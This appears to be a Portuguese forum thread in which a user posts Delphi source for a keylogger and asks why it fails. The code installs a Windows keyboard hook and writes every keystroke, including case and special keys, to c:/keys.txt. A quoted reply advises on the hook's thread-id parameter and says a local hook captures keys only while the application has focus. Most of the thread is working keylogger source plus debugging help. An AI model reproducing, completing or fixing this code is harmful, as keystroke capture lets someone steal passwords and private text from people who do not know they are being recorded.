Duvida Angustiante (Keylooger)

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
    idKeyLog : HHOOK;
    arq: textfile;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

function KeyboardProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall;

implementation

{$R *.dfm}

function KeyboardProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall;
var
  tecla:String[255];
  b1,b2: boolean;
begin
  if code < 0 then
     Result:=CallNextHookEx(Form1.idKeylog, code, wParam, lParam)
  else
  begin
    case lParam of
      KF_ALTDOWN: Write(Form1.Arq,´[ALT]´);
    end;

    case wParam of
          VK_SHIFT, VK_CAPITAL, VK_MENU:begin
            //ignore estas teclas
          end;
          VK_BACK:begin
            Write(Form1.Arq,´[BKSP]´);
          end;
          VK_TAB:begin
            Write(Form1.Arq,´[TAB]´);
          end;
          VK_RETURN:begin
            WriteLN(Form1.Arq,´[ENTER]´);
          end;
          VK_ESCAPE:begin
            Write(Form1.Arq,´[ESC]´);
          end;
          32..64:begin
            Write(Form1.Arq,chr(Byte(wParam)));
          end;
          65..90:begin// todas as letras
            b1:=GetKeyState(VK_SHIFT)<0;  // verifica se o Shift está pressionado
            b2:=GetKeyState(VK_CAPITAL)=1;// Verifica o status do Caps_Lock
            if (b1 = b2) then // se o shift estiver com um status igual ao do caps_lock
              Write(Form1.Arq,chr(Byte(wParam+32))) // coloca em minusculo
            else
              Write(Form1.Arq,chr(Byte(wParam)));
          end;
          VK_NUMPAD0..VK_NUMPAD9:begin
            Write(Form1.Arq,chr(Byte(wParam)));
          end;
          else begin
            tecla:=´´;
            GetKeyNameText(LParam,@tecla[1],254);
            Write(Form1.Arq,´[´+tecla+´]´);
          end;
    end;
    Flush(Form1.Arq);
    result := 0;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  assignfile (arq,´c:/keys.txt´);
  if fileexists(´c:/keys.txt´)
  then Append(Arq)
  else ReWrite(Arq);

  idKeylog := SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,hInstance,0);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  UnhookWindowsHookEx(idKeyLog);
  CloseFile(Arq);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  assignfile (arq,´c:/keys.txt´);
  if fileexists(´c:/keys.txt´) then
     Append(Arq)
  else
     ReWrite(Arq);
***  idKeylog := SetWindowsHookEx (WH_KEYBOARD,KeyboardProc,HInstance,0); ***
end;

SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, hInstance, GetCurrentThreadId);

kapak Escreveu:
Note que o último parâmetro dwThreadId é o identificador da Thread que instala a Hook; como vc está instalando uma Hook local, coloque a Thread principal do seu aplicativo. 

ps: Hooks locais só capturam qdo sua aplicação estiver em foco e não em todo o Windows.